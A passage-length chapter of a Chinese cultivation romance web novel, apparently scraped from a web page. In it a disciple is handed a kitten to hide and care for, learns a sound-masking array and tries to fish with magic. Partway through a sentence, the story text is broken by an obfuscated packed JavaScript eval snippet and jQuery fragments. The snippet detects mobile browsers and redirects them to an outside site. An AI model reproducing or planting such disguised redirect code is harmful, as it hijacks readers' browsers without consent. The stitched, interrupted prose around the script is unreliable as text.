28. 养猫(一)

作品:《仙尊是前暧昧对象

    翌日,日常修炼结束后,温拂渔今日虽不负责打扫,却依旧去了藏书阁。


    其余普通弟子已经见怪不怪了。


    “也不知她怎么那么喜欢往藏书阁跑,那是藏书阁又不是藏宝阁。”


    “就是啊,我要是轮上几日不打扫藏书阁,高兴地做梦都能笑醒,真是搞不懂她。”


    连郁从听雪阁下来找温拂渔时,正好听见有几人还在原地围堆讲话,便好奇地探头凑过去,脸上挂着招牌式的微笑:“你们修炼完了不走吗?在聊什么有趣的事?”


    “师兄?”窃窃私语的少男少女被他这般突然地加入,顿时结束了话题,“没,没聊什么,我们就回去了。”


    连郁依然带着笑,腾出一只手朝他们挥手道别,直到他们的身影消失不见。


    “怎么又去藏书阁了……”他收起笑容,抱紧怀里的竹篮,转身朝着另一个方向走去。


    看来他担忧的没错,青雪那般性格确实很难融入大家。


    估计这门派里,他是她唯一能称得上朋友的人。


    温拂渔不知道自己被人惦记了,站在书柜后连续打了好几个喷嚏,最后断定是昨天忘了打扫这里,积了灰尘呛到自己。


    青山门藏书阁有四层,每层都布满了书柜与书本。


    她倒是规定自己每日翻一点,岂料如今一个月过去了,她连第一层都未曾攻破。


    中途她倒不是没怀疑过当初那位神秘人在骗她,但一想到这里存在许多外界不曾看过的秘籍,她就觉得应该再试试。


    毕竟这是她目前唯一的希望。


    “这一边应该都找完了……”她扫过最后几本书,没瞧见自己想象中的书本,无奈随手取下一本有点兴趣的书,“算了,今日就看看这本吧。”


    她毕竟中途加入,说实话有些方面的修炼跟不上,所以自己也会抽些时间自学。


    她早就想好了,等练成之后回家时,一定要在舅舅面前好好显摆一下,自己也算半个仙师了。


    想到这,她难得地露出一丝笑意,放在桌下的脚也不自觉地轻轻摇晃。


    连郁到来时看到的就是这样一幕——随意扎着低马尾的少女端坐在木桌前,嘴唇微微动着,一只手翻着书页,另一只手两指并拢,在空中比划着什么。


    见她学得这么认真,他不忍心打扰,就靠在一旁的桌边,静静地看着她。


    他作为祝荣仙尊的亲传弟子,其实一点也不闲。


    零零碎碎的小任务归他们负责,难一点的任务需要他们带队,偶尔还要指导普通弟子修炼,总是两头奔波。


    总是跑来见青雪也不是他最初的计划。


    本来只是打算小小的照顾一下对方,但在发现青雪每次见到他时表情都很平淡时,他便被激起了斗志。


    于是后来他时不时地也会来找她的身影。


    他坚信,没有他连郁搞不定的人。


    许是他的目光太过直白,温拂渔本来正专注地练习法术,突然觉得身上有些不自在。


    她疑惑地朝身后望去。


    少年抱着手臂,目光深沉却多了份探究,两人的视线就此对上。


    温拂渔眨眨眼:“你什么时候在的?”


    连郁被发现后便抱起竹篮,正大光明地走到温拂渔身边坐下:“没多久,大概是你在控制真气的时候。”说罢,他托着下巴,突然笑了一声,两眼定定地盯着她,“这种小事哪用得着翻书,找师兄我不就好了?”


    温拂渔一愣:“什么?”


    连郁却不再重复,只是把竹篮推到她的面前:“喏,昨日说的要帮忙,在这里。”


    温拂渔这才注意到这个竹篮的存在。


    她疑惑地抬眸看他一眼,便伸手将其打开,却在推开竹盖后,发现里面蜷着一只灰白色毛发的……小猫?


    此刻它正沉浸在梦境中,闭着眼,发出细小的鼾声。


    温拂渔诧异地问道:“这是?”


    “前些日在后山捡到的,本来打算将它放生,但是看着身体很虚弱,我不放心,便带回来打算暂时养着。”


    温拂渔小心翼翼地用手指戳了戳对方略有粗糙的毛发,感受小猫轻轻的蜷缩:“但我记得青山门禁止养宠物来着。”


    似乎是因为哪位仙尊对毛发过敏。


    “所以才说是暂时养着,待它养好了我就放生。”


    “原来如此……”温拂渔明白地点点头,随后又询问道,“不过你要我帮什么忙?”


    “你也知道接下来的排名赛对青山门很重要,所以从明天开始,我需要跟着师兄们修炼,可能就顾不上它了。”连郁挠挠头,“就想让你帮着照顾一下……”


    温拂渔戳猫的动作一顿,随后有些僵硬地抬起头看着连郁。


    “我……照顾它?”


    她想起自己有次照顾舅舅的花,结果给养死了一盆,可把舅舅难过死了。


    她不是很放心自己啊。


    “没错。”连郁道,“我相信你能照顾好它的。”


    温拂渔抬起头与他对视,少年的笑容依旧,是让人很舒服的感觉。


    “对了,要是怕声音传出去,我教你一个隔音阵法。”连郁道,“很简单的,包你能学会。”


    温拂渔这些天学到的东西虽然不多,但总算学会了如何施展法术。这比实打实的打击感厉害多了。


    只是阵法这东西对她来说难在绘制。


    她其实不太会画画,连一个圆都画不圆,更别说脑子里想的和手上画出来的完全是两回事了,所以她绘制的阵法图案效果甚微。


    温拂渔:“你是在嘲笑我?”


    “那倒不是,只是没想到你看起来没什么弱点,结果却在绘画上……”


    温拂渔瞪他:“立刻教我。”


    她就不信她学不会了。


    连郁笑了一声,随即将一旁的墨纸拖过来,在宣纸上画出阵法图案,并示意温拂渔动手学习。


    温拂渔取过一只毛笔,在另一张纸上模仿着图案画了一个有些歪歪扭扭的图案,还算看的过去。


    连郁见状立刻抽走了两张纸,示意她在新的纸上绘画。


    “必须你自己能背住才算是学会了。”


    温拂渔想说些什么,但知晓自己无法反驳,只能空拎着毛笔,脑袋中回想图案造型,迟迟下不了笔。


    连郁见状,绕过来站在她身边低下头,指尖勾画出轮廓,带着她再次绘画起来。


    “要这样,再这样……对,你再试试……”


    两人的距离突然靠的很近,温拂渔甚至能感受到对方呼出的热气。


    她迅速停下笔歪着头看他:“你靠我太近了。”


    连郁正沉浸在指导的氛围中,被她这样一句话打断,站在原地愣了一瞬:“抱歉,是我让你不舒服了?”


    “不是。”温拂渔摇摇头,“你呼出的气喷到我耳朵了,麻麻痒痒的。”


    连郁松了口气,随后目光又移到温拂渔笔下的图案,打算让她封笔时,却又听见少女的声音。


    “如果我感到不舒服是不会让你靠近的。”


    温拂渔这句话说地很轻,但传到连郁的耳中时,他却忽地忘记自己想要做什么,大脑一片空白,心脏却跳动剧烈。


    他“噌”地一下直起身,不着痕迹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517127|182024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地后退了几步。


    温拂渔完成了这次的图案,并对此感到很满意,侧头询问他:“这个画的怎样?有没有要好点?”


    “画的没错。”连郁道,“不过我想起还有点事没处理,先走了。”


    说罢便落荒而逃似地离开了藏书阁。


    出来后,他边走边平复心情,手掌在胸脯一上一下地安抚:“都怪她突然说出这种不符合她性格的话,给我吓得……”


    温拂渔完全没察觉到任何异常,把几张画废的纸折好收起来,又看了眼还在沉睡的小猫,拉上竹盖挡住,也提着竹篮离开了。


    ……


    一路上,温拂渔遇到的同僚不少。


    不过幸亏她与大家的关系不好,自然没人凑到她面前寒暄,也就不会暴露自己手里有一只猫。


    回到房间,她先试验刚学的隔音阵法,看到阵法图案亮了一下,知道施法成功,心情也好了不少。


    随后她重新将目光移向放在桌上的竹篮。


    猫这种生物……应该怎么养呢?


    温拂渔两只手托腮,目不转睛地望着竹篮里睡地正香的灰白猫,努力在脑里搜刮养宠物的知识。


    “要给它准备什么吃的呢?”她缓缓歪着脑袋,“猫要吃鱼的吧?”


    鱼的话,青山门倒是不缺。


    不过她又不禁再次思考道:“那它吃生鱼还是熟鱼啊,我不会处理鱼啊,烤鱼要吃吗?”


    可惜她的问题没人能回答,包括这只正在睡觉的猫。


    她刚刚明明还有很多问题想问连郁的,谁料他突然就离开了,给她留下这一烂摊子。


    “算了,想太多也没个结果。”


    温拂渔叹气起身,决定先试着去给猫抓只鱼,至于生吃还是熟吃就看猫自己的选择了。


    她出门时特意把房门锁好,便顺着居所外的小石径向下走。


    青山门里有汪由仙尊管理的水池,那里面养着不少鱼。


    不过毕竟是仙尊掌管,所以不论是想捞几只观赏鱼养着,还是捞食用鱼上来吃,靠的不是一般工具,而是自身的能力。


    连郁之前带她来过一次,他极其轻松地伸出一只手指,便用法力带出一条锦鲤。


    “不能直接下水抓吗?”


    “不能。”连郁摇摇头,“这个池子被仙尊们施了法的,身体无法接近,只能用法术才行。”


    虽说她当时看连郁操作很简单,但她毕竟是初学者,也不知能不能抓到鱼。


    如果抓不到的话……给猫喝点水吃点肉干算了。


    她这么想着,便伸出手对着水面,闭上眼根据这些日学到的知识开始调动周身气息。


    随即,她感受到一股不知名的气在体内游走,但不是太受她的控制,在体内横冲直撞,很难集中起来。


    温拂渔不由得蹙紧眉头。


    “别跑……不要到处散开……”她在原地嘀嘀咕咕,“移到手掌,手掌……”


    终于,她渐渐感到手掌热气萦绕,便睁开眼开始搜寻水中的猎物,并在瞧见一条看起来很肥美的鱼时,迅速调转法力。


    却不料下一秒——


    “啪!”


    本来应该收上来的真气变成了释放,瞬间从她手掌弹出落入水中,在水面砸出巨大的水花,吓跑了好几条鱼。


    温拂渔:……


    她有些不服气,打算再试一次。


    就在她再次运气时,身侧却突然多出一个人。


    她还没来得及看来者是谁,便见水面突然翻起一条大浪,随即一条大鱼从水中跃起,又在下一秒被隔空拎住,朝着她的方向移动而来。